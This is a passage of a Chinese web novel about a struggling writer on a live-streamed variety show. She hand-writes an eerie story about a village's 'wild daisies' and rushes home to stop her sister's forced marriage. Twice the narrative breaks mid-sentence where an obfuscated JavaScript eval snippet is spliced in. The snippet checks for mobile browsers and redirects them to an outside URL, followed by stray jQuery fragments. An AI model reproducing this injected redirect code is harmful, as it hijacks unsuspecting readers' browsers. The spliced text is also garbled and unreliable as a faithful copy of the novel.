包括秦段在内,四人心中都升腾起同一个念头。
演员演技是一方面,还有舞台布景和服装设计都很重要。这一切都要在一天内完成……秦段光是想想,都觉得时间紧迫。
更别提,这次是现场出演,一次的失误可能就会毁了一整场出演。配音更是天方夜谭,台词功底如果不好,也是一场灾难式尬演。
算了别想了,左右全靠运气。她从来都是幸运E。拿了钱赶紧跑路吧。
五十万,说多不多,说少不少。
她知道,其他几位嘉宾录制一期最低也有两百万的通告费,和他们相比她显得微不足道。这笔钱如果放在小说里,也就是作者随手写下的一个数字,可对于她来说却是开启新生活的启动资金。
所以秦段觉得自己今晚注定是没办法入眠了。
在她们各怀心思的同时,摄像机在尽职尽责地录下最后一段直播画面。弹幕被新加入的嘉宾吸引了注意,虽然不少人还在因为昨天的事情吵架,但更多的网友将话题聚焦在演员名单上。
【为你的旅途栽上一路繁花,祝你前途一路繁华——祁恩华我们爱你!!!】
【舒家军何在?!一人血书我家沐舒上节目!姐姐的努力我们有目共睹,内娱需要更多的实力派!】
【!实力演员!千年神颜!!新生代断层顶流!我们比流言蜚语更早遇见你——尹舟!你是人间理想!】
【宋大指定甜宠剧女主(撒花),五十亿票房收割机器~永远爱小羊,永远支持宋大作品(爱心),宋粉和羊粉一家亲~】
【卧槽,五彩斑斓的弹幕,眼睛要瞎了。】
【弹幕大军来袭~快为你家哥哥姐姐拉票吧!】
【微博之前不是爆料了,说是嘉宾整容强大吗?人均一线流量,说是还有影后友情参赛。】
【别改我家剧本!还原著粉一个公道!】
就算是五十年后,论炒作和养蛊,这档《算了,写都写了》也一定能够名列前茅。导演室内的工作人员望着不断攀升的收视率,发自内心地感叹。
她一边啧啧称叹,一边端起手边的肥宅快乐水。
......
微博的热度居高不下,可小院里的风却泛着清凉。
她坐在花园吹着夜风时,身后传来林绾温柔又好听的嗓音:
“昨天的事情,连累你了。”
秦段回过头,在月色下她的五官有些朦胧。林绾原本就柔和的五官似乎蒙上一层滤镜,明明是三十五岁的年纪,看起来却像是刚步入社会一般,如果秦段需要用一段文字来描写她,她可能挑挑拣拣剩下三个字——“初恋感”。
“不碍事。”
她连忙摆手。
“我记得你有一个妹妹,对么?”林绾没有坐在她的身边,秦段微微仰起头,林绾拢着外套在台阶上半弯下腰来。她将她随口说的一句话记在了心里,让秦段着实有些受宠若惊。
此时此刻没有摄像头在附近,秦段这才说出自己一直想问的话。
“林老师,你对每个人都这么好吗?”
她知道自己此时此刻说这句话未免有些煞风景,但她着实不明白林绾为什么对她如此照顾。当时分房间时,林绾故意让她和宋之河睡在同一个房间,虽说她给自己找了一个“作息不合”的理由,但秦段这两日观察下来发现宋之河其实熬夜也不会打扰到别人。而且林绾还在节目上cue她以前的作品,试图给她提升知名度。
林绾突如其来的关心让她觉得惶恐。莫名其妙的好感远比有理有据的厌恶让她没底。更别提对方还是圈内的大前辈。
林绾似乎并不意外她会这么问,她能感受到那股如水般温冷的视线拂过她的脸颊,最后全都化作一道喟然的叹息。
“你不一样。”
“我知道,你现在可能不明白为什么我这么说,但秦段,你相不相信直觉?”她一边说,一边抱住肩膀,仰起头眯着眼望月。“见到你第一眼,我就知道你会火。”
她的眼神瞬间扫来。
来不及等秦段反驳,林绾搓了搓手背,垂着头似乎只是随口一说:“因为你不想火——但世界总是阴差阳错,渴望成名的人泯灭众生,试图逃避的人功成名就。”
秦段张了张口,最后只当林绾在为她献上祝福。
她想要成名吗?她不能昧着良心说她没有过。在年少时大家都做过天才的美梦,以为自己会是下一个明日之星。直到她被岁月蹉跎至今,灵气也在一次一次的生活琐碎下被磨灭殆尽。什么是灵气,什么又是天赋?只是少年的心气被社会污染成尾气,再从大脑里排走罢了。
不愿意伤春悲秋,秦段决定想一些令人高兴的事。
——比如她马上被淘汰所拿的巨款。
在林绾朝她道别后,秦段准备给秦琴打一个电话。
她们平日每天都会通话,秦琴虽然在学校里看起来阳光开朗,但是长期生活在高压的家里,她的心理问题其实很严重。她的家人自然不会把多余的钱浪费在她们两个女儿身上,所以心理医生这个角色,该她扮演。
昨天是周五,秦琴可能是在半夜赶作业。今天她应该有空回她消息了。
秦段熟练地拨通置顶号码。
【对不起,您拨打的电话已关机,请稍后再拨——】
关机了?
难不成又是和父母吵架,结果手机被收了?
再联系上秦琴之前说的“侄子要来家里住一段日子”,秦段估摸着秦琴这个暴脾气又得和那位太子爷吵架,被禁足拔网线也是常有的事。只是话虽如此,联系不上秦琴,秦段心里总觉得有一块石头落不下来。
而且,不知为何,录制节目的这几天她心里一直有某处在揪着,就连半夜睡觉都不安稳。
秦段左右纠结,打开通讯界面发觉也没有几个朋友能够帮得上这忙。总不能让人家半夜跑到她家里去看秦琴的死活。
算了,可能也是她想得太多。
——“铃铃铃!”
有回电了!
秦段心下一喜,可定睛一瞧,那联系人却是一个半陌生的名字。
来电人:李媛
她费了一会功夫才想起来这人和她的关系......十年八年不联系的初中同学给她打电话做什么?难道是也在追综艺吗?
毕竟同学一场,秦段还是接起了电话。
电话那头先是传来了小男孩的嬉笑声,在秦段起了一身鸡皮疙瘩后,她那老同学的声音才从电话那头传入秦段耳中。她的声音有些尖锐,先是吼了那小孩一声,才低下声冲她和蔼可亲恭喜:“秦段,老同学,听说你要结婚啦!新郎是我们认识的吗?”,“耀元,把手上的玩具放下——去写作业去!”
秦段艰难地从她那嘈杂的麦克风里分辨出她想要说的话语,眉头都快皱成蚯蚓了。什么东西?谁要结婚?
打错电话了吧?
她斟酌片刻,还是礼貌提醒李媛:“......我没结婚啊?你忘了,我现在还在外地上学呢。”
“去,去,拿着你爸手机自己玩去......唉,唉能听见吗?”那头可算是安静了一会,秦段好脾气地又重复了一遍。本以为对方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310530|167275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听见她的解释后会恍然大悟,不料听见她的话语,李媛语气骤然拔高:“怎么可能!你爸妈今天才来我家发的喜帖,咱们村里好多同学都收到了......你不信的话我给你念。”
秦段的心提到了嗓子眼。
原先预示危险的雷达在她脑内嗡嗡作响,让她的呼吸都急促了起来。
她就是为了逃避结婚才迟迟不肯回家,结果她的父母还是自作主张给她订婚?
“于2030年四月六日,恭请各位来宾参加新郎刘腾飞与新娘秦...琴?等等,结婚的真不是你?”
!!!
一块铁质的榔头狠狠砸中秦段的后脑勺,让她整个人差一点摔了手机!
“——什么?”她的声音气息不稳。
秦段一只手撑着墙,防止自己因为过度的愤怒而晕倒过去,她的额角青筋抽搐,双眼死死盯着某处空地不放。
李媛嘀咕了几句“奇怪”,她的声音有些怪异:“......也是啊,一晃眼你妹妹都到了该结婚的年纪了,我当时初中毕业嫁的人,转眼儿子也这么大了——王耀元,把遥控器放下!你找打是不是!”
秦段没忍住骂了一声:“狗屁,她才几岁?怎么就到了结婚的年纪!那两个畜生怕我回去闹事,居然连这么大的事都没告诉我!”
李媛顿了顿,语气突然低下来。
“你爸妈没和你说?那你千万到时候别说是我告诉你的......唉,不是我说你,这么多年了脾气还是这么差。你总不能大闹你妹妹大喜的日子吧?”
秦段听不进去半个字,她的脑子里就只有一个念头——赶紧回家。
今天是四月四日,她爸妈试图先斩后奏,居然把秦琴的婚期定在后天!
如果不是李媛打了这么一通电话,她绝对不可能赶得上。
秦段挂断电话,三步并作两步往别墅里冲!无视宋之河疑惑的眼神和沈淮冷淡的表情,她一个箭步就冲进了导演室。
宋之河捧着热水喝了半杯——“导演,我现在要退赛!”
“咳咳咳!!!”
她咳得差点把昨晚的饭菜吐出来。
沈淮扶了扶自己的眼镜,又翻了一页手上拿的书,似乎秦段那头发生了什么都不关他的事情。
“疯了吗......”宋之河暗骂一声起身,她也走到导演室外,看见秦段单薄的身影。她双手撑着桌子,虽然看不见她的脸色,可那样决绝的样子却令她心里泛起怀疑——这不太像是昨天那个畏畏缩缩的模样。
“喂,你就算要退赛,等到后天不行么?”
秦段没有回应。
导演的脸色一变,擦了擦额角的汗,讪讪笑道:“秦老师,原本您提交完稿件是可以退赛的,但是......我们出了一些情况。”
导演让出半个身位,露出了众人包围之中的那台属于秦段的电脑。站在她电脑旁的年轻实习生颤颤巍巍。
——上面被洒满了可乐液,此时此刻连开机都开不了。
“您得等到我们把电脑修复后才能离开,不过您放心——明早八点前我们的专业维修师一定可以修复好。”
她没有那么多时间。加上坐飞机的时间,她必须今晚出发。
“我管不了那么多,现在必须退赛。”
她的脸色阴沉,说话时也没了原先刻意伪装出的胆怯感,不仅是工作人员,就连一直控场的导演都被她这样阴森的表情吓了一大跳。见秦段似乎已经怒到极点,自知理亏的导演组商议片刻后妥协。
“好吧,您可以现在退赛——但通告费我们不予支付。”
五十万的巨款......说没就没的这么轻易?他们这群人制定规则,她就遵守。本以为已经足够温顺,却还是被当作羔羊当头一刀。
既然这样......
秦段深吸一口气,自己给自己扯了一把椅子坐下,气到极点时她反倒气定神闲。
“拿笔和纸,我当场写。”
刚准备上楼的沈淮脚步一顿,在门口的宋之河呼吸微停,导演室内鸦雀无声。
11. 小镇里的野雏花(1)
晚上十点半,演播室内。
秦段坐在节目组为她临时安排的板凳桌椅前,面前是一张空白的纸,一支满水的油性笔,除此之外再无别的任何工具。她现在仅剩一个半小时的时间。
一个半小时最低五千字,折合下来每小时将近三千字,纯粹的手写。
距离高中毕业也快三年了,秦段必须承认,她毕业后整整几年都没提笔写过作文。依稀记得高中时她每次写作文总是拖到打铃前两分钟才匆匆结尾——而那不过是一千二百字。
仅仅是一千两百字就让她手写到发酸,这一次她面对的可是五千到八千字的挑战。
站在一旁的宋之河有些看不下去了,她的声音飘过来:“就几个小时了,你等导演组修好电脑不好么?非要这样博眼球?”
“纯手写,你手写断了也写不完!”
演播室内所有人都是这么想的,没人能够理解秦段为什么宁愿手写也不愿意等不到十个小时。作者写作时需要上网查阅资料,需要电脑纠错,需要手动排版......更重要的是一个半小时这么吝啬的时间内,除非她半点不思考,否则根本不可能写完。即使真的发生了奇迹中的奇迹,秦段写完了,那质量也可想而知。
岂不是写出一坨狗屎出来,让全场人陪着吃?
当然,这类喜欢随地拉屎的作者也不能怪他们,有的作者有异食癖,有的作者纯粹是人有三急控制不住自己的笔。
秦段这种情况属于是非常努力地在便秘,拉的时候还得喊大家一起围观加油。
就连导演都恼怒了,提醒她:“如果你在十二点前写不完的话会直接淘汰,秦老师,你想好了。”
一边说着,导演组一边悄悄打开了摄像机。万一秦段真的写不完,第二天观众发现秦段被淘汰,他们也好有一个说法。
沈淮扫了一眼旁边满眼不赞同的宋之河,最终没有说话。
有什么事是比录制节目更重要的?总不能是家里突然着火,她千里迢迢赶回家灭火吧?
虽然这件事是节目组做的不对,但是秦段的处理方式难道就没有问题吗?如果写不完,那节目组为了节目效果考虑,是否仍然要修复电脑应用旧稿?她所做的一切不过就是在浪费大家的时间。
他从一开始就对秦段的自大略微反感,但他为了自己的名声不会像宋之河那样直接的表现出来。左右一期的时间她就会被淘汰,连这点时间都忍不了,也活该昨天宋之河被竞争对手利用。
宋之河过得太顺,我行我素惯了,才会被人钻了空子。
不赞同,不理解,不支持。
秦段紧紧攥住笔,将其余的杂音挡在耳外,周围似乎升起一道无形的结界,此时此刻她所有的注意力都聚集在了她眼前的那张纸上。
她的手都有轻微的颤抖,额角已经冒出细汗。心脏如擂鼓一般击打着她紧绷的神经。
无数道视线落在她身上,嘉宾的,导演组的,那冒着红光的摄像机的......她毫不怀疑导演组绝对会将这一幕录下,再寻找合适的时间全网播报——标题她都想好了,就叫“某十八线哗众取宠,作品是骗不了人的!”。
如果是平日,她只会觉得恐惧,想要逃避。
可今日今时,她却在逼仄的空气之中捕捉到身体里蔓延出的阵阵兴奋,一如她十几岁时意气风发迎难而上的模样。
她的心气似乎在这一刻回来了。
她知道,她的身体在因为激动而颤抖——因此盖过了恐惧,只剩下因为刺激而发昏的头脑。几乎不需要任何的思考,写作对于她而言更像是一种本能,还未反应,她的眼前已然浮现出那一朵雏黄色的花朵,摇曳在村庄的土地上——
【不知是不是风水的缘故,我们村里的花,总是十八年一开,开了花后又极快地凋谢,不知所踪了。】
【所以但凡有开的艳丽的,众人总是一哄而上折断了养在家里,来年再比比谁家的花更好。】
【可说来奇怪,我生长在这村子里,从小见大人们去田地里摘花,却总是空手而归。总得找到邻居亲戚讨要一朵回来才能栽在自家盆里,可一旦得了手,平时也任花风吹雨淋从不干预,我不明白。也巧,每当放了学,村子里没有娱乐活动,我就只好每日去和花聊天聊以解乏,可植物哪能听得懂人说话?我因此失落了许久。】
她的眼前闪过村庄里的麦田,鼻尖似乎嗅到儿时雨后的泥土路。一切都生机盎然。
仿佛有人在她的耳边娓娓道来。
【......也许是我每日都找花聊天的缘故,它很有灵性地在春天开了苞。开花苞那天,父母很高兴,扯着我说“这次咱们家长脸了,你二叔家的花可没咱家开的好”。我在心里不赞同,二叔家的孩子私下可告诉了我,那花和我家本属一脉,只是他家又养了猫,才把那花抓得不成摸样。】
【早上,我如往常那样起床上学。每日我都需给那花拜个早日,因为和同学谈起我家的花时,他们总是羡慕不已,又高看我两眼。我在心里便把它当作是我的家人,想着十八年一开,距离它开花还得有个五六年,我还能仰仗它许久。】
【今天的早上太阳很不对劲,平日里没有这样大。我没有看见家里的花,父母说是昨天夜里被狗叼走,数落我晚上不好好学习,只知道睡觉。我哭得凄惨,父母脸色铁青又僵硬,“只是一朵花而已,这是自然界的法则,自古以来都这样。”】
【我很伤心,因为花没被自家猫抓毁,却被别家的狗叼走了,我对不起它。可也不能全然怪我,村子里那么多花,偏偏就它开的最好,才会被狗盯上。想来我就算那天晚上没睡着,也是打不过狗的。】
【但我发誓,下一次绝不会让这悲剧重演。】
......
秦段没有抬头,她的大脑已然构建出一副又一副画面出来,虽然她的思想现在已经跟不上自己的手,但是还是有一股意识吊着她,让她行文时注意以下几个原则:
文章节奏要拖沓,写的大家看不懂,热门元素全没有。
只要完成其中之一,她就能确保自己第一期能够被安全淘汰。
林绾写绝美be文学,宋之河写甜甜的恋爱,沈淮写逼格悬疑——每一篇文演出来的热度都能甩她八百条街了!磕cp的能够磕生磕死,毒唯的能够美美欣赏自家正主颜值,到时候微博再炒一炒,第一期又爆了。赢得不能再赢。
而她呢?就这么一篇文出来,她都不知道自己第一期能怎么赢!
全篇没有任何半点的热门元素,开篇也不引人入胜,几乎是一篇彻头彻尾失败的作品。凭借着她被众主编拒稿的经验,这种稿子人家扫第一眼就会狠狠打回,不会给她半点的机会。
她只要略微自由发挥,就能够被各大文学公司拒稿的实力可不是浪得虚名。
秦段继续写......洋洋洒洒铺垫了三千字后,她开始写中段剧情。依旧是波澜不惊的慢慢写,秉持着急死读者爽了自己的原则,秦段开始水字数。
抬头扫了一眼时钟,十一点半。
【这些都是发生在我小时候的事了,村子里已经长久不再养花。我成家后,带着老婆回村探望,问起这件事,村里人大多数闭口不谈,偶尔碰见几个喝醉了酒的,唏哩咕噜说着“村子里都是务实的农民”之类的话。老婆疑惑,问我这和种花又有什么关系。我说,“村子里风水不好,花要十八年才开,为了经济考虑,现在都改种小麦了。”老婆是个城里人,没见过要开十八年的花,缠着我要种一朵。】
【这就难办了,村里先不说谁家有花,就是有,也不爱轻易给外人看。但我又转头看向身旁的老婆,心里又愧疚起来。我父母在前几年出意外离世,家里剩下我一人,她答应我求婚时我就发誓要一辈子对她好。况且,还没过门。】
【果不其然,我走邻访友遍了,得到的都是“现在这年头谁还种花”亦或者“离我家花远些”这类的答复。回家路上,我在道路旁却见到一人骂骂咧咧地往田地里走。他的手里居然捧着一盆嫩黄色的小花。于是我连忙拦下他询问花的价钱,他却一反先前鬼鬼祟祟的模样,反倒上下打量着我,摆起了十足的架势。“五十块钱,爱要不要。”】
【一朵花要五十块,着实有些贵了。种花要十八年,开花又不能吃,比不上小麦水稻来得实在,也难怪没人愿意养。我说“叔,我养它是给你减轻了负担,怎么还问我要钱呢?这花养在你家还要浇水施肥,万一被虫子啃了,您岂不是这么多年白忙活一场?”可对方冷冷一笑,骂道:“又想要花,又不想给钱,哪有这么好的事?”见他要走,我只好掏钱。心里却觉得不值当——这么小的一朵野花,哪里比得上我儿时那朵芍药开的美艳?而且我那朵芍药还是免费的。】
秦段写的时候,仿佛听见了男主在她耳畔的叹息声。不知怎么回事,从写到这一刻开始,她原本构思的剧情突然不受控制地自己运转起来——最终走向一个未知的方向。
与此同时,一旁的宋之河罕见地沉默了。不仅仅是她,更准确来说,是周围围观着秦段写作的人们都默契闭了嘴。先前在秦段刚提笔时,众人还有些在窃窃私语的,都觉得秦段这是在找死。
可不过是转瞬的功夫,他们不过是聊了几句天,秦段已经拿起了第三张稿纸了。
这怎么可能呢?!她难道真的不需要思考吗?
沈淮问导演组:“这段会播出吗?”
一张草稿纸的规定字数是两千,秦段第三张草稿纸已经写了一半,而剩余时间还剩下二十分钟。她的手几乎写出了残影,字迹也不那么工整。可是她实打实写了那么多的字,却是无可置疑的。
导演没了底,只能语气犹豫:“原本是准备播出的......但是......”圆润的导演扫了一眼表情不明的宋之河,心里突然犯怵。宋之河的后台很硬,却上节目第一期就和秦段结下梁子。如果秦段真的写了一篇前无古人后无来者的佳作,再把这段播出,估计宋之河背后的资本可就不乐意了。
天才有一个就够了,不需要第二个。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310531|167275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
节目本来就是有主推的。
导演在心里默默打定主意,如果秦段的文章大获好评,那么她的创作过程节目组便一笔带过不过多着墨。可倘若她写得让所有人都不满意,那他们就可以乘机落井下石,再收割一波热度。
秦段并不知道身边人的心思,她已经写到了最后的结尾。
说实话,这并不是她一开始想的结局。她原本想写男主人公和妻子将花朵种下,可它又没办法在盆内的土壤茁壮成长,于是他们将它种在田野里。每一年都迎着风摇曳,也算是切合“小镇里的野雏花”主题。
可写着写着,她发现事情大条了......
【我的妻子发了疯,也许是疯了。我们长久没有孩子,她着了魔似的每日同花说话,好几次说这是我们的女儿。简直可笑!那朵花已经在别家养了十几年,怎么会是我们的孩子?而且,为什么要假定它的性别?我不能再让他继续任性下去了,我们已经结婚三年,她却总爱把自己当作天真的小姑娘,我这一次不会再惯着她。】
【昨天,我连夜将那朵花搬离家中。月色很好,比往常每一日都好,就是在这样好的夜色下,隔壁的叔伯家都敞开了门,纷纷要我出个价把花卖给他们。我说,这花还没开花,买回去做什么?他们不作声,只是笑着说“还没开过苞的花才最好啊,娇艳。”】
【第二天,妻子问我花去了哪。我说“估计是被狗叼走了,先别想这些,我们明天搬进城里,村里风水不好。”】
【妻子没有问我哪来的钱,也许她已经知道了。好在,搬进城里第二年,她就怀了孕。怀孕期间她的脾气越发大了,经常因为一点小事和我吵架,于是我们决定回村散散心。】
【村子里风水好起来了,老婆回村的第二天就喊着要生。我和亲戚邻居坐在产房外,听着里面的鬼哭狼嚎只觉得心里烦躁,于是点起一根烟同旁人聊天。“卖你的那朵雏花今天开花了吗?”我问对面,叔伯家便点头,从身后喊出来一个半大小子,冲我道:“现在已经会走路了。”算一算,这孩子也快两岁了,我进城前还没听说他家女人怀了孕。是个好兆头。】
【“生了,生了......”产婆的声音从房内传来。我立马从凳子上站起来,冲进产房。看着床上面色苍白的妻子,我的心中发誓,要一辈子对她好。可我的心此刻却被孩子所牵挂,这是作为父亲的本能,并不是我不爱她。】
【产婆对我说:“你女人生了一朵花。”】
【人怎么可能生出花呢?】
【我不相信,抢过孩子看——那不是人,是一朵有四肢的花。它还是一朵小巧的花苞,有类人的四肢,不知道从哪发出阵阵啼哭......总之不是从嘴里,花没有嘴。我想我是眼花了,不肯接受这个事实。我怎么可能会生下一朵花?!绝无可能!产婆也许是习惯了,从喉咙里发出不满的声音:“村子里风水不好,人总是会生出花。”】
【“花怎么会有四肢,怎么会哭,怎么会动!”我红着眼吼。“花不会动,人才会动。”说着,她指向我床上昏睡的妻子。“人才会动,花不会动。”】
秦段的额角冒出细汗,时间剩下五分钟。
【我恨我的妻子生了一朵花,她一定是在外面拈花惹草背叛了我——否则如何解释这一切呢?那产婆说的一点不错,自从我将花带回家,它的四肢一天天褪去,最后安安静静在土壤里成长。我永远不会把一朵花当作家人,这简直荒谬!可妻子却魔怔了,非说她生的是一个可爱的小女孩。】
【人是人,花是花,有的花即使有四肢长得再像人它也不是人。】
【可人是不可能生花的,不是吗?】
【......】
秦段提笔结尾:
【我曾经拥有两朵花,现在有了第三朵。】
交卷!
不,交稿!
她抬起头,看了一眼时间:23:58分。秦段将稿纸拢了拢递给导演组,她半句话都没说,甚至连包都来不及拿,急匆匆就往外走,她一边走一边低着头定机票!
售罄,售罄,全都售罄!
距离她最早的一班航班只剩下了头等舱,价格是经济舱的三倍。如果是平日,她一定是看都不会看的,可今天她眼睛都不眨便付了款。她的心中只有一个念头——回家!
敢让秦琴嫁人,她就敢把村子闹翻天!
秦段走得很急,只听见身后似乎有什么人在叫她,却下意识忽略了。直到导演组的工作人员小跑到她身边,告诉她她没有给这篇文章起一个题目。
飞机还剩不到两小时起飞,她着急赶飞机,随口敷衍一句:“谁在乎......”
这题目随便起一个就好,她现在再不回家,估计再见秦琴就是在洞房夜了!
工作人员看着秦段远去的背影,大脑宕机片刻后写下题目:
《谁在乎》
这题目到底是什么意思?
这个疑问同样给到了第二天挑选剧本的嘉宾们。
12. 小镇里的野雏花(2)
“老师,我们开始录制了。”
“这么早?Hello大家好,很高兴作为特邀演员嘉宾参加这档综艺!听说各位作者老师的作品已经写好了,正在等我们去挑——导演组说谁第一个到,谁就有资格先挑剧本,看来我得马上出发了!”
看见在屏幕里的女子,弹幕发了疯刷屏:
【啊啊啊啊姐姐姐姐我们爱你!】
【宋大和我们小羊果然是真的,不惜从国外戛纳赶回来!】
【姐姐神颜好能打!】
杨亦初冲镜头比了一个wink,满是兴奋的模样。作为新生代偶像转型演员,她的大部分剧本都是青春偶像剧。宋之河的剧本又正好契合她的戏路,加上她们两人流量强强结合也是资本愿意看见的,因此合作不少。
很多网友戏称她们是“银(亦)河cp”。
坐上节目组准备的大巴车,杨亦初原本明媚的表情顿时收敛——大巴车上不知何时已经坐满了。
这一次节目组一共请了四位嘉宾,其余三位已经坐在了自己的位置上,她上车时还有热络的聊天声,在她露面那一刻却陷入了片刻的尴尬。
“亦初?原来最后一位嘉宾是你呀,快坐!”
一位长相清秀又精致的男艺人出声,他精心做了造型,在镜头前又引得一种观众疯狂叫“老公”。杨亦初抽了抽唇角,低声应下。
另外两位嘉宾则对视一眼,眼中俱是了然的色彩。
——杨亦初和尹舟是真·情侣,还是刚分了手的那种。
尹舟是当红男团单飞成员,杨亦初却没有退队。两人戏路重合,银幕cp不少,久而久之就顺理成章在一起。因为cp粉占多数,公司即使知道了也睁一只眼闭一只眼。
但好死不死,他们的热播剧马上就要上映了,尹舟却被狗仔抓到——出轨某十八线女艺人。即使这件事被公司极快地压下,但他们的感情却回不到过去。当然了,其中遭受无妄之灾的还是宋之河,因为他是宋之河原本预定的男主,而她是预定女主。
杨亦初勉强扯出一个笑,她咬牙切齿:“你也来了。”
怎么还活着。
弹幕:
【啊啊啊哥哥姐姐对视好甜】
【羊羊的表情好耐人寻味,完全就是避嫌吧......她都刻意不看他,谁磕到了我不说!】
【只有真情侣才避嫌~】
【cp粉能不能滚出去,尹舟一个花瓶流量配不上我们姐姐哈。】
【杨亦初装什么?看见她就烦】
【啊啊啊节目请来的咖位好大,当红男女流量,还有影帝影后都来了!经费不足警告!】
尹舟淡淡一笑,他冲身边含笑不语的男人低声道:“江哥,这次节目直播你都看了吗?有喜欢的作者么?”
“怎么,想抢?”被称作江哥的男人似笑非笑扫了他一眼,语气带了几分戏谑的味道。尹舟立马面色就变了,连连赔笑,说着不敢不敢。
“哪敢和您这位前辈抢,您要是有喜欢的剧本,记得和我说!我提前规避!”
——“小舟,这还有个人呢。江禾,要是我和你抢,你同不同意?”
一直没有出声的大巴后排传来一道沙哑又混厚的声音,江禾侧过头,眼神却没落在后排女人的脸上,轻描淡写地点到为止。他打开窗户揉了揉额角,笑着无奈叹气:“喻言老师啊,你人生字眼里就和‘抢’脱不开关系了,和你这土匪抢剧本,给我一万个胆子都不敢。”
闻言,女人“哈哈哈”爽朗一笑,主动攀谈起来。
“那不能够,江禾,你别败坏我名声。呦呦呦,这么多年了还气当时李导选了女扮男装的我换掉你的男主啊?”
“这么小心眼?难怪这么多年没老婆!”
江禾冷笑:“比不上您结婚三次离婚三次。”
喻言站起身毫不客气给了前座的江禾一拳!她骂道:“江老师啊□□,我真是防住狗仔没防住你!把你喊来这档节目是我今年最大的失误!”
杨亦初瞪大眼睛,顿时把尹舟给抛到脑后。她入圈晚,什么东西!?
喻言老师什么时候结的婚!?
就这样吵吵闹闹一路,他们终于下车到达了场地外。
三位作者早早地等在了别墅大厅,此时的林绾还没搞清楚昨晚发生的事情,一起来便得知秦段退赛。她试图给秦段打电话,但是电话却打不通,宋之河见她的动作,嗤笑一声:“估计怕被骂,暂时退网了。”
林绾不赞同:“节目组的失误后果不该她承担。你昨天怎么不劝着一点?”
劝了,怎么没劝,好言难劝该死的鬼。
弹幕:
【秦段呢?怎么不见她人?】
【宋大和绾绾在聊啥呢?】
【总算是看不见秦段那张讨人厌的脸了,爽!】
【Hello这个节目有人打理我们沈淮吗,导演组干嘛安排三女一男,每次都是小团体抱团孤立我们家。】
【小团体?笑死了,那你家沈淮可以和秦段抱团啊,问题是你家愿意么?】
【女的就爱抱团,没办法。】
【版本t0就这样,谁敢骂小仙女呢?】
大门被推开,随着一声清脆的问好,众人打起精神。
——“各位老师,上午好!”
杨亦初活力满满兴奋冲众人打招呼,紧随其后的是自然而然开始搭话的喻言,尹舟自来熟地找到全场唯一的男性作者沈淮聊天,江禾则是单刀直入询问导演组:“我们要怎么选剧本?这边只有三个人。”
喻言幽幽补刀:“没错,你剧本被我抢了,现在退赛吧你杀青了,回家吧好不好?”
宋之河笑得花枝乱颤,一边搂着杨亦初一边笑。但她的笑在看见一旁的尹舟时,收敛了不少。
——谁把这个傻卵叫来的?
杨亦初咳嗽一声,示意宋之河别这么快挂脸。
尹舟也不太自在,但好在他听闻沈淮和宋之河不对付,他们又同为男人,不过是出轨而已算不上什么大事。于是他大大方方攀谈起来:“沈大,很早就想演您的男主了,这次总算是有这么个机会!”
沈淮挑眉,望向宋之河。两人对视的瞬间,都明白了对方的潜台词——反正不是什么好话。
这在宋之河眼里简直是贴脸开大。她和沈淮关系差是行业共识,尹舟的男主还没被撤掉就开始公开给她下马威,是活腻歪了还是没长脑子?
就在暗潮涌动之时,导演组总算发话:
“秦老师因为行程安排,昨日退赛,但我们规则不变。”
“一部好的作品,不仅需要我们作者老师们的优质剧本,更需要演员与剧本能够磨合好。所以,我们在接下来的环节会对各位进行‘灵魂契合’挑战!”
“灵魂契合挑战?测mbti吗?”
喻言率先提出疑问。导演组拍拍手——很快,每人手中都被塞了两张卡片,上面写着“是”和“否”。
“接下来,我们会问三个问题,作者方和演员方同时举牌,相似程度最高的为一组!如相似程度相同,则抽签决定。”
众人:“好!!!”
导演组翻开问题牌——第一个问题:
【你是否接受配角的刻画深度主大于主角?】
第一个问题就很有挑战性。当即,演员一方的表情便各不相同——配角压番,这是他们这些经常出演主角的绝对不愿意看见的。
可在节目上怎么能够表露自己的心声呢?
三、二、一......
林绾、沈淮、江禾、尹舟、杨亦初:是
宋之河、喻言:否
见有人持反对意见,节目组将话筒递给宋之河与喻言。
“主角之所以是主角,正是因为祂的刻画更为深刻,如果看完一整本书给读者影响最深刻的是配角——那么恕我直言,这本书的事实主角已经换人。不是主角刻画最深刻,而是谁最有深度、最能引起读者共鸣,谁才是主角。”
宋之河说完后,沈淮发言。
他和宋之河持相反意见:“这种说法是在偷换概念,也是以偏概全。主角势必要有深度吗?配角为什么又称作主角的陪衬——与其刻意遮掩角色弧光,不如顺其自然写作。我一向认为我是故事的观测者,而不是全知全能的造物主,因此无法决定每个人的命运。他们所为自己的命运在争取,我为什么要阻拦?”
宋之河笑了:“那沈老师笔下的主角经常暴毙,难道是半夜主角给您托梦,说自己不想活了?”
沈淮眼底划过一抹冷意。
弹幕:
【卧槽......】
【演都不演了,真要开打啊?】
【虽然是宋粉,但这一次我支持沈淮。】
【很明显宋之河说得对啊,角色是作者创造的,如果不能控制剧情,那算什么作者?你家如果演戏遇到压番,
